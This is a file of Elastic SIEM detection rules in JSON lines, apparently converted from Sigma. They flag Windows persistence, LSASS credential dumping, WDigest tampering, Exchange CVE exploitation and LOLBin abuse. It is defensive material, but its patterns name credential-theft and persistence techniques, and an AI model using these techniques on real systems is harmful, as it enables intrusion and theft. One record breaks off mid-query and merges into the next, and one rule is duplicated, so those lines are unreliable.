{"description":"Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum Author: Sittikorn S. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"df21967f-a68b-b1cf-625f-75e6050af73b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum","query":"file.path:(*C\\:\\\\Windows\\\\system32\\\\physmem.sys* OR *C\\:\\\\Windows\\\\System32\\\\IME\\\\IMEJP\\\\imjpueact.dll* OR *C\\:\\\\Windows\\\\system32\\\\ime\\\\IMETC\\\\IMTCPROT.DLL* OR *C\\:\\\\Windows\\\\system32\\\\ime\\\\SHARED\\\\imecpmeid.dll* OR *C\\:\\\\Windows\\\\system32\\\\config\\\\spp\\\\ServiceState\\\\Recovery\\\\pac.dat* OR *C\\:\\\\Windows\\\\system32\\\\config\\\\cy\\-GB\\\\Setup\\\\SKB\\\\InputMethod\\\\TupTask.dat* OR *C\\:\\\\Windows\\\\system32\\\\config\\\\config\\\\startwus.dat* OR *C\\:\\\\Windows\\\\system32\\\\ime\\\\SHARED\\\\WimBootConfigurations.ini* OR *C\\:\\\\Windows\\\\system32\\\\ime\\\\IMEJP\\\\WimBootConfigurations.ini* OR *C\\:\\\\Windows\\\\system32\\\\ime\\\\IMETC\\\\WimBootConfigurations.ini*)","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1203","T1566"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects persistence method using windows telemetry Author: Lednyov Alexey, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3e2fb071-1b25-8f8d-dc5d-c514098cadf7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Registry Persistence Mechanism via Windows Telemetry","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\TelemetryController\\\\* AND winlog.event_data.TargetObject:*\\\\Command* AND winlog.event_data.Details:*.exe*) AND (NOT (winlog.event_data.Details:(*\\\\system32\\\\CompatTelRunner.exe* OR *\\\\system32\\\\DeviceCensus.exe*))))","meta":{"from":"1m"},"severity":"critical","tags":["T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects persistence registry keys Author: Karneades, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c5499024-19c9-a969-0297-eaad75ceb3dd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Registry Persistence Mechanisms","query":"(winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion* AND ((winlog.event_data.TargetObject:*\\\\Image\\ File\\ Execution\\ Options\\\\* AND winlog.event_data.TargetObject:*\\\\GlobalFlag*) OR (winlog.event_data.TargetObject:*SilentProcessExit\\\\* AND winlog.event_data.TargetObject:*\\\\ReportingMode*) OR (winlog.event_data.TargetObject:*SilentProcessExit\\\\* AND winlog.event_data.TargetObject:*\\\\MonitorProcess*)))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects persistence registry keys for Recycle Bin Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5cf8d1f0-b2f5-990a-5195-c8653602fdf8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Registry Persistence Mechanisms in Recycle Bin","query":"((winlog.event_data.EventType:\"RenameKey\" AND NewName:\"HKCR\\\\CLSID\\\\\\{645FF040\\-5081\\-101B\\-9F08\\-00AA002F954E\\}\\\\shell\\\\open\") OR (winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:\"HKCR\\\\CLSID\\\\\\{645FF040\\-5081\\-101B\\-9F08\\-00AA002F954E\\}\\\\shell\\\\open\\\\command\\\\\$Default\$\"))","meta":{"from":"1m"},"severity":"critical","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications. Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Legitimate Addin Installation"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"82233f3f-6114-a25c-08e2-f3d3f1d4029c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Stealthy VSTO Persistence","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Microsoft\\\\Office\\\\Outlook\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\Office\\\\Word\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\Office\\\\Excel\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\Office\\\\Powerpoint\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\VSTO\\\\Security\\\\Inclusion\\\\*)) AND (NOT ((process.executable:(*\\\\msiexec.exe OR *\\\\regsvr32.exe)) OR (process.executable:(*\\\\winword.exe OR *\\\\integrator.exe OR *\\\\OfficeClickToRun.exe)))))","meta":{"from":"1m"},"severity":"medium","tags":["T1137"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1137","name":"Office Application Startup","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects persitence via netsh helper Author: Victor Sergeev, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"56321594-9087-49d9-bf10-524fe8479452","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Netsh DLL Persistence","query":"(process.executable:*\\\\netsh.exe AND process.command_line:*add* AND process.command_line:*helper*)","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects possible SafetyKatz Behaviour Author: Markus Neis. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e37e51ed-9e17-ffc9-53ee-2e342b58a18e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Detection of SafetyKatz","query":"file.path:*\\\\Temp\\\\debug.bin","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Possible Squirrel Packages Manager as Lolbin Author: Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["1Clipboard","Beaker Browser","Caret","Collectie","Discord","Figma","Flow","Ghost","GitHub Desktop","GitKraken","Hyper","Insomnia","JIBO","Kap","Kitematic","Now Desktop","Postman","PostmanCanary","Rambox","Simplenote","Skype","Slack","SourceTree","Stride","Svgsus","WebTorrent","WhatsApp","WordPress.com","atom","gitkraken","slack","teams"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fa4b21c9-0057-4493-b289-2556416ae4d7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Squirrel Lolbin","query":"((process.executable:*\\\\update.exe AND process.command_line:(*\\-\\-processStart* OR *\\-\\-processStartAndWait* OR *\\-\\-createShortcut*) AND process.command_line:*.exe*) AND (NOT ((process.command_line:*C\\:\\\\Users\\\\* AND process.command_line:*\\\\AppData\\\\Local\\\\Discord\\\\Update.exe* AND process.command_line:*\\ \\-\\-processStart\\ Discord.exe*))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Serverâ€™s Unified Messaging service Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c0dc7f19-acba-4c62-0d63-26f80556ada2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"CVE-2021-26857 Exchange Exploitation","query":"(process.parent.executable:*UMWorkerProcess.exe AND (NOT (process.executable:(*wermgr.exe OR *WerFault.exe))))","meta":{"from":"1m"},"severity":"critical","tags":["T1203"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1203","name":"Exploitation for Client Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for | creation of non-standard files on disk by Exchange Serverâ€™s Unified Messaging service | which could indicate dropping web shells or other malicious content Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"40835959-6959-524d-3c9d-a7d42427b46d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"CVE-2021-26858 Exchange Exploitation","query":"(process.executable:*UMWorkerProcess.exe AND (NOT (file.path:(*CacheCleanup.bin OR *.txt OR *.LOG OR *.cfg OR *cleanup.bin))))","meta":{"from":"1m"},"severity":"critical","tags":["T1203"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1203","name":"Exploitation for Client Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Possible usage of Windows Subsystem for Linux (WSL) binary as a LOLBIN Author: oscd.community, Zach Stanford @svch0st. License: ","enabled":false,"false_positives":["Automation and orchestration scripts may use this method execute scripts etc"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"dec44ca7-61ad-493c-bfd7-8819c5faa09b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"WSL Execution","query":"(process.executable:*\\\\wsl.exe AND process.command_line:(*\\ \\-e\\ * OR *\\ \\-\\-exec\\ *))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1202","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects potential COM object hijacking leveraging the COM Search Order Author: Maxime Thiebaut (@0xThiebaut), oscd.community, CÃ©dric Hien. License: ","enabled":false,"false_positives":["Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"25868beb-10cf-c2a3-7eda-249e00cc1e04","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Windows Registry Persistence COM Search Order Hijacking","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(HKCR\\\\CLSID\\\\* OR HKCU\\\\Software\\\\Classes\\\\CLSID\\\\*) AND winlog.event_data.TargetObject:*\\\\InprocServer32\\\\\$Default\$) AND (NOT ((winlog.event_data.Details:(*%%systemroot%%\\\\system32\\\\* OR *%%systemroot%%\\\\SysWow64\\\\*)) OR (winlog.event_data.Details:(*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\* OR *\\\\FileCoAuthLib64.dll* OR *\\\\FileSyncShell64.dll* OR *\\\\FileSyncApi64.dll*)) OR (winlog.event_data.Details:*\\\\AppData\\\\Local\\\\Microsoft\\\\TeamsMeetingAddin\\\\* AND winlog.event_data.Details:*\\\\Microsoft.Teams.AddinLoader.dll*) OR (winlog.event_data.Details:*\\\\AppData\\\\Roaming\\\\Dropbox\\\\* AND winlog.event_data.Details:*\\\\DropboxExt64.*.dll*) OR (winlog.event_data.Details:*TmopIEPlg.dll) OR (process.executable:(\"C\\:\\\\WINDOWS\\\\system32\\\\wuauclt.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\svchost.exe\")) OR (process.executable:(*C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* OR *C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\*) AND process.executable:*\\\\MsMpEng.exe*) OR (winlog.event_data.Details:*\\\\FileRepository\\\\nvmdi.inf*) OR (process.executable:*\\\\MicrosoftEdgeUpdateComRegisterShell64.exe) OR (process.executable:\"C\\:\\\\WINDOWS\\\\SYSTEM32\\\\dxdiag.exe\") OR (winlog.event_data.Details:(\"C\\:\\\\Windows\\\\pyshellext.amd64.dll\" OR \"C\\:\\\\Windows\\\\pyshellext.dll\")) OR (winlog.event_data.Details:(\"C\\:\\\\Windows\\\\system32\\\\dnssdX.dll\" OR \"C\\:\\\\Windows\\\\SysWOW64\\\\dnssdX.dll\")) OR (winlog.event_data.Details:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (winlog.event_data.Details:*C\\:\\\\WINDOWS\\\\system32\\\\GamingServicesProxy.dll*))))","meta":{"from":"1m"},"severity":"medium","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects potential COM object hijacking leveraging the COM Search Order Author: Maxime Thiebaut (@0xThiebaut), oscd.community, CÃ©dric Hien. License: ","enabled":false,"false_positives":["Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"25868beb-10cf-c2a3-7eda-249e00cc1e04","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Windows Registry Persistence COM Search Order Hijacking","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(HKCR\\\\CLSID\\\\* OR HKCU\\\\Software\\\\Classes\\\\CLSID\\\\*) AND winlog.event_data.TargetObject:*\\\\InprocServer32\\\\\$Default\$) AND (NOT ((winlog.event_data.Details:(*%%systemroot%%\\\\system32\\\\* OR *%%systemroot%%\\\\SysWow64\\\\*)) OR (winlog.event_data.Details:(*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\* OR *\\\\FileCoAuthLib64.dll* OR *\\\\FileSyncShell64.dll* OR *\\\\FileSyncApi64.dll*)) OR (winlog.event_data.Details:*\\\\AppData\\\\Local\\\\Microsoft\\\\TeamsMeetingAddin\\\\* AND winlog.event_data.Details:*\\\\Microsoft.Teams.AddinLoader.dll*) OR (winlog.event_data.Details:*\\\\AppData\\\\Roaming\\\\Dropbox\\\\* AND winlog.event_data.Details:*\\\\DropboxExt64.*.dll*) OR (winlog.event_data.Details:*TmopIEPlg.dll) OR (process.executable:(\"C\\:\\\\WINDOWS\\\\system32\\\\wuauclt.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\svchost.exe\")) OR (process.executable:*C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* AND process.executable:*\\\\MsMpEng.exe*) OR (winlog.event_data.Details:*\\\\FileRepository\\\\nvmdi.inf*) OR (process.executable:*\\\\MicrosoftEdgeUpdateComRegisterShell64.exe) OR (process.executable:\"C\\:\\\\WINDOWS\\\\SYSTEM32\\\\dxdiag.exe\") OR (winlog.event_data.Details:(\"C\\:\\\\Windows\\\\pyshellext.amd64.dll\" OR \"C\\:\\\\Windows\\\\pyshellext.dll\")) OR (winlog.event_data.Details:(\"C\\:\\\\Windows\\\\system32\\\\dnssdX.dll\" OR \"C\\:\\\\Windows\\\\SysWOW64\\\\dnssdX.dll\")) OR (winlog.event_data.Details:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (winlog.event_data.Details:*C\\:\\\\WINDOWS\\\\system32\\\\GamingServicesProxy.dll*))))","meta":{"from":"1m"},"severity":"medium","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects potential malicious modification of run keys by winekey or team9 backdoor Author: omkar72. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fabf2f6f-eb3b-6509-d8f9-086ee1408a0f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WINEKEY Registry Modification","query":"winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Backup\\ Mgr","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects potential malicious modification of the property value of fDenyTSConnections and UserAuthentication to enable remote desktop connections. Author: Roberto Rodriguez @Cyb3rWard0g. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"63b220a5-e78d-cdd8-f77f-c3cd04b4824a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"RDP Registry Modification","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\CurrentControlSet\\\\Control\\\\Terminal\\ Server\\\\WinStations\\\\RDP\\-Tcp\\\\UserAuthentication OR *\\\\CurrentControlSet\\\\Control\\\\Terminal\\ Server\\\\fDenyTSConnections) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects potential malicious modification of the property value of IsCredGuardEnabled from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to disable Cred Guard on a system. This is usually used with UseLogonCredential to manipulate the caching credentials. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a37c1b35-3dea-49d1-3298-c893d96a6e46","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Wdigest CredGuard Registry Modification","query":"winlog.event_data.TargetObject:*\\\\IsCredGuardEnabled","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to enable clear-text credentials Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5ac8d324-9ddc-eff6-8901-02d84bee2f6d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Wdigest Enable UseLogonCredential","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*WDigest\\\\UseLogonCredential AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects potential overwriting and deletion of a file using DD. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC. License: ","enabled":false,"false_positives":["Any user deleting files that way."],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"2953194b-e33c-4859-b9e8-05948c167447","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"DD File Overwrite","query":"(process.executable:\"\\/bin\\/dd\" AND process.command_line:*of\\=* AND process.command_line:(*if\\=\\/dev\\/zero* OR *if\\=\\/dev\\/null*))","meta":{"from":"1m"},"severity":"low","tags":["T1485"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1485","name":"Data Destruction","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects potential use of UIPromptForCredentials functions by looking for some of the DLLs needed for it. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["other legitimate processes loading those DLLs in your environment."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"686a2cb6-2a91-6eaa-21d6-d112454f9822","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"UIPromptForCredentials DLLs","query":"((file.path:(*\\\\credui.dll OR *\\\\wincredui.dll) OR winlog.event_data.OriginalFileName:(\"credui.dll\" OR \"wincredui.dll\")) AND (NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\explorer.exe* OR C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\*\\\\Microsoft.SharePoint.exe* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Windows\\\\ImmersiveControlPanel\\\\SystemSettings.exe* OR C\\:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\OneDrive.exe* OR C\\:\\\\Users\\\\*\\\\AppData\\\\Roaming\\\\Spotify\\\\Spotify.exe*) OR process.executable:*\\\\opera_autoupdate.exe)))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1056"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1056","name":"Input Capture","reference":""}]},{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1056","name":"Input Capture","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0 Author: Harish Segar (rule). License: ","enabled":false,"false_positives":["Penetration Test","Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b3512211-c67e-4707-bedc-66efc7848863","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"PowerShell Downgrade Attack","query":"(process.command_line:(*\\ \\-version\\ 2\\ * OR *\\ \\-versio\\ 2\\ * OR *\\ \\-versi\\ 2\\ * OR *\\ \\-vers\\ 2\\ * OR *\\ \\-ver\\ 2\\ * OR *\\ \\-ve\\ 2\\ *) AND process.executable:*\\\\powershell.exe)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects PowerShell script execution from Alternate Data Stream (ADS) Author: Sergey Soldatov, Kaspersky Lab, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"45a594aa-1fbd-4972-a809-ff5a99dd81b8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Run PowerShell Script from ADS","query":"(process.parent.executable:*\\\\powershell.exe AND process.executable:*\\\\powershell.exe AND process.command_line:*Get\\-Content* AND process.command_line:*\\-Stream*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects PowerShell script execution via input stream redirect Author: Moriarty Meng (idea), Anton Kutepov (rule), oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c83bf4b5-cdf0-437c-90fa-43d734f7c476","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Run PowerShell Script from Redirected Input Stream","query":"(process.executable:*\\\\powershell.exe AND process.command_line:/\\s-\\s*{"description":"Detects PowerShell Strings applied to rundll as seen in PowerShdll.dll Author: Markus Neis. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6812a10b-60ea-420c-832f-dfcc33b646ba","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Detection of PowerShell Execution via DLL","query":"((process.executable:*\\\\rundll32.exe OR winlog.event_data.Description:*Windows\\-Hostprozess\\ \$Rundll32\$*) AND process.command_line:(*Default.GetString* OR *FromBase64String*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects process access LSASS memory which is typical for credentials dumping tools Author: Florian Roth, Roberto Rodriguez, Dimitrios Slamaris, Mark Russinovich, Thomas Patzke, Teymur Kheirkhabarov, Sherif Eldeeb, James Dickenson, Aleksey Potapov, oscd.community (update). License: ","enabled":false,"false_positives":["Legitimate software accessing LSASS process for legitimate reason; please add more filters"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"32d0d3e2-e58d-4d41-926b-18b520b2b32d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Credentials Dumping Tools Accessing LSASS Memory","query":"((winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:(0x40* OR 0x100000* OR 0x1410* OR 0x1438* OR 0x143a* OR 0x1418* OR 0x1f0fff* OR 0x1f1fff* OR 0x1f2fff* OR 0x1f3fff*)) AND (NOT ((process.executable:(\"C\\:\\\\WINDOWS\\\\system32\\\\taskmgr.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\perfmon.exe\")) OR (process.executable:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\* AND process.executable:*\\\\MsMpEng.exe) OR (process.executable:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\* AND process.executable:*\\\\GamingServices.exe AND winlog.event_data.GrantedAccess:(\"0x1410\" OR \"0x410\")) OR (process.executable:(*\\\\PROCEXP64.EXE OR *\\\\PROCEXP.EXE OR *C\\:\\\\WINDOWS\\\\system32\\\\taskhostw.exe) AND 